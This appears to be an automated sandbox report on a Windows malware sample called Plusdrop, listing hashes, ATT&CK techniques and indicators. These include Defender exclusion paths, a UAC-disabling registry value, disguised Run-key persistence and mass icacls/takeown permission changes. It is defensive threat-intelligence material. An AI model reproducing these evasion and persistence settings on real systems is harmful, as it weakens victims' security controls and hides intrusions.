plusdrop | bcb8fa9cdff7a27cc80973ccfbdce6b3a62e65deaf5306c52f83eea7eee793ed

Analysis

user interaction
yes
max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/05/2026, 02:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
instZIP.586506.xpc.exe
Size 69.3MB
Sample260522-cr8waaft9z
SHA256 bcb8fa9cdff7a27cc80973ccfbdce6b3a62e65deaf5306c52f83eea7eee793ed
MD5 487e333b98beebf2210067f3cd347a7d
SHA1 8ac7d701761153f0944b74f0deb15daf4b7757cc
SHA512 66db1e4012378072a4c14722481cd7f398a94803a9f8d09aa73cfecef83c3dea39e9036835a4594c04f647b705d588dd0cf57df3f7d71138fd4097a73a82aa63
SSDEEP 196608:/BnmYJ24l9AyZ6+hZA+X3bm0LFE0hTdnb8JrpctMK+fgUfmE90WcxxOQAllDhb6R:5im4+hSC3bpBEyTd1MQgQAllDRIEKlH
TLSH
T13EF7194BB701DD96F5669638949B4F507372E8B40B7283632368773CAFEB36C4E91884
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 adware apt backdoor defense_evasion discovery execution exploit plusdrop persistence privilege_escalation ransomware spyware trojan upx

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral2/memory/1056-564-0x000001F495E40000-0x000001F495EA0000-memory.dmp	family_Plusdrop_payload

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LjEXAb.exe

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\bFiIck = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
628	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	LjEXAb.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 38 IoCs

exploit

pid	Process
2640	icacls.exe
1860	icacls.exe
1328	icacls.exe
3044	icacls.exe
2784	icacls.exe
536	icacls.exe
2996	icacls.exe
4876	icacls.exe
1328	icacls.exe
4900	icacls.exe
1760	icacls.exe
3736	icacls.exe
756	icacls.exe
2024	icacls.exe
3344	icacls.exe
1576	icacls.exe
2392	icacls.exe
1516	icacls.exe
4184	takeown.exe
1796	takeown.exe
1996	icacls.exe
2284	icacls.exe
4656	icacls.exe
2832	icacls.exe
2012	icacls.exe
1912	icacls.exe
1500	icacls.exe
2756	icacls.exe
3884	icacls.exe
3516	icacls.exe
900	icacls.exe
2864	icacls.exe
2884	icacls.exe
3412	icacls.exe
3172	icacls.exe
3248	icacls.exe
748	icacls.exe
4808	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	L70I7L.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	LjEXAb.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
1056	L70I7L.exe
2400	LjEXAb.exe
4792	LjEXAb.exe
4088	5LIK2.exe
2864	FpkfHJLB.exe
1516	QcSV28Yr.exe

Loads dropped DLL 4 IoCs

pid	Process
1056	L70I7L.exe
2400	LjEXAb.exe
4792	LjEXAb.exe
4088	5LIK2.exe

Modifies file permissions 1 TTPs 38 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2024	icacls.exe
2284	icacls.exe
3884	icacls.exe
3736	icacls.exe
3044	icacls.exe
4900	icacls.exe
1576	icacls.exe
1996	icacls.exe
4808	icacls.exe
536	icacls.exe
1500	icacls.exe
1328	icacls.exe
1796	takeown.exe
2640	icacls.exe
3172	icacls.exe
2756	icacls.exe
4876	icacls.exe
3344	icacls.exe
2884	icacls.exe
2784	icacls.exe
3412	icacls.exe
1912	icacls.exe
1516	icacls.exe
1328	icacls.exe
900	icacls.exe
2012	icacls.exe
2832	icacls.exe
2996	icacls.exe
4656	icacls.exe
3516	icacls.exe
756	icacls.exe
2864	icacls.exe
3248	icacls.exe
1860	icacls.exe
748	icacls.exe
2392	icacls.exe
1760	icacls.exe
4184	takeown.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\bFiIck\\L70I7L.exe\""	L70I7L.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\LjEXAb\\LjEXAb.exe\""	LjEXAb.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3960	cmd.exe
4400	cmd.exe
3924	cmd.exe
4888	cmd.exe
2152	cmd.exe
5032	cmd.exe
5108	cmd.exe
2592	cmd.exe
2180	cmd.exe
5008	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	L70I7L.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000167fe-814.dat	upx
behavioral2/memory/1516-816-0x0000000000400000-0x000000000053F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\3Mq6Dj\5LIK2.exe	LjEXAb.exe
File opened for modification	C:\Program Files (x86)\LjEXAb	L70I7L.exe
File created	C:\Program Files (x86)\LjEXAb\LjEXAb.exe	L70I7L.exe
File opened for modification	C:\Program Files (x86)\LjEXAb\LjEXAb.exe	L70I7L.exe
File opened for modification	C:\Program Files (x86)\LjEXAb\thumbs.db	L70I7L.exe
File created	C:\Program Files (x86)\3Mq6Dj\image.png	LjEXAb.exe
File created	C:\Program Files (x86)\3Mq6Dj\5LIK2.exe	LjEXAb.exe
File created	C:\Program Files (x86)\3Mq6Dj\thumbs.db	LjEXAb.exe
File created	C:\Program Files (x86)\LjEXAb\image.png	L70I7L.exe
File opened for modification	C:\Program Files (x86)\LjEXAb\XPSPLOG.dll	L70I7L.exe
File opened for modification	C:\Program Files (x86)\3Mq6Dj	LjEXAb.exe
File opened for modification	C:\Program Files (x86)\3Mq6Dj\thumbs.db	LjEXAb.exe
File created	C:\Program Files (x86)\3Mq6Dj\XPSPLOG.dll	LjEXAb.exe
File opened for modification	C:\Program Files (x86)\3Mq6Dj\XPSPLOG.dll	LjEXAb.exe
File created	C:\Program Files (x86)\LjEXAb\XPSPLOG.dll	L70I7L.exe
File opened for modification	C:\Program Files (x86)\3Mq6Dj\image.png	LjEXAb.exe
File created	C:\Program Files (x86)\LjEXAb\thumbs.db	L70I7L.exe
File opened for modification	C:\Program Files (x86)\LjEXAb\image.png	L70I7L.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1140	sc.exe
1844	sc.exe
2308	sc.exe
2500	sc.exe
4820	sc.exe
4436	sc.exe
3508	sc.exe
4136	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	LjEXAb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	LjEXAb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	LjEXAb.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LjEXAb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LjEXAb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5LIK2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	LjEXAb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	LjEXAb.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\SCRNSAVE.EXE	LjEXAb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveActive = "0"	LjEXAb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	LjEXAb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	LjEXAb.exe

Modifies Internet Explorer settings 1 TTPs 46 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\Version = "5"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\KnownProvidersUpgradeTime = b7e41e0878e3dc01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconURL = "http://www.bing.com/favicon.ico"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\2BB20B33B4171CDAAB6469225AE6A582ED33D7B488 = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005c6ab20a0effa34296711ca2b1702aaf00000000020000000000106600000001000020000000b83c3961cf10aa75307f2918d8642f6dcc92c5854e167eb1aef5c78f1d0019f0000000000e80000000020000200000003fee3ac22b5d085d2547eeca2ef9e252b34d32adf89eff485aab3fcb5c0890c9100000001bc1b2daeb3aaba9a15b40769d195fd740000000ac0baf05a1caac100ad4724dde1e75eff441949cf3608f8bef5e6bec505d9683da6db833d32d7612141b16a742ab852ed6335a63e345781d4c78d8a67dac2555	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTLogoPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\2BB20B33B4171CDAAB6469225AE6A582ED33D7B488 = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005c6ab20a0effa34296711ca2b1702aaf00000000020000000000106600000001000020000000dc792527ede07e502ff6630eab00b3009ddda7884377b610100175f57386c2d5000000000e80000000020000200000002cbf724ce8bace749590f847f68a8b2a2f30c4887c189b2da7c355000cf8e9851000000039f8175f2c440fc5643a9258561535b840000000d821205e9b3bc772e3346787f22ca4f5d14a1d360b9f1071360b38de9718134e6b8605fea9da8e1b2898172de19ecbff9819381914c379bcf944a5cc7934a083	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\3DB9590C4C4C26C4CCBDD94ECAD790359708C3267B = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005c6ab20a0effa34296711ca2b1702aaf000000000200000000001066000000010000200000001c879824a6f150c6ff472285e500c6d997f6091bac7bd3deeda991d096b64cb8000000000e80000000020000200000003502a61bff6dfb9db124d81340005de6975c38fb2569a5e47132609cac831aa1500000005282dc4f0c4cb18490ac4ffde0b01b3e6edbeea822bb2b095ee879a8f2b04405d588f93ac278d1e35730675590e622d411e6968ecbd96db5c21d2eeaaed765ad4219562757d958c62d2a182656104b6040000000dfb5e61c116c406dc046dca6d3733a23875c073945861e8c3adae8305300632abf7b0e0a0e8634b24b79f21dd86023f1a2575c010f22a7a784237ef93eefc0ec	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "677"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3724137932"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31254929"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\DisplayName = "Bing"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconURLFallback = "http://www.bing.com/favicon.ico"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\User Preferences	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\UpgradeTime = b7e41e0878e3dc01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURLFallback = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IESS02&market={language}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTLogoURL = "http://go.microsoft.com/fwlink/?LinkID=403856&language={language}&scale={scalelevel}&contrast={contrast}"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\User Preferences\3DB9590C4C4C26C4CCBDD94ECAD790359708C3267B = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005c6ab20a0effa34296711ca2b1702aaf000000000200000000001066000000010000200000006cf77679d8d2bf4ee1c55a07c84df59c30fd2f287466c0f9f3adf8256635fc35000000000e80000000020000200000000150a9d8f61714ec4fbe08e5ec90ea3aa7717a09719cbaaeaab73967ecad555150000000aa26a90dc34e55c6c0d7f5b498cb96fe4522d71f4987e47a2cabde46f408d8acd2ee8528a0206c234053c168519a51b2c64f11600681415c2063b120498645243bea9a722e4c4408c2352e30ca6236ae40000000f024bdc6107655cc1b19eb58ad8d8e197d5d022d7acc2ee010c549c66fe05b1ef327cbe4a82351d0e035dbe69b0561d9e3980fbda87118bbf7321c55db4e416c	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IE11SS&market={language}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTTopResultURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTTR"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTSuggestionsURL = "http://api.bing.com/qsml.aspx?query={searchTerms}&market={language}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IENTSS"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
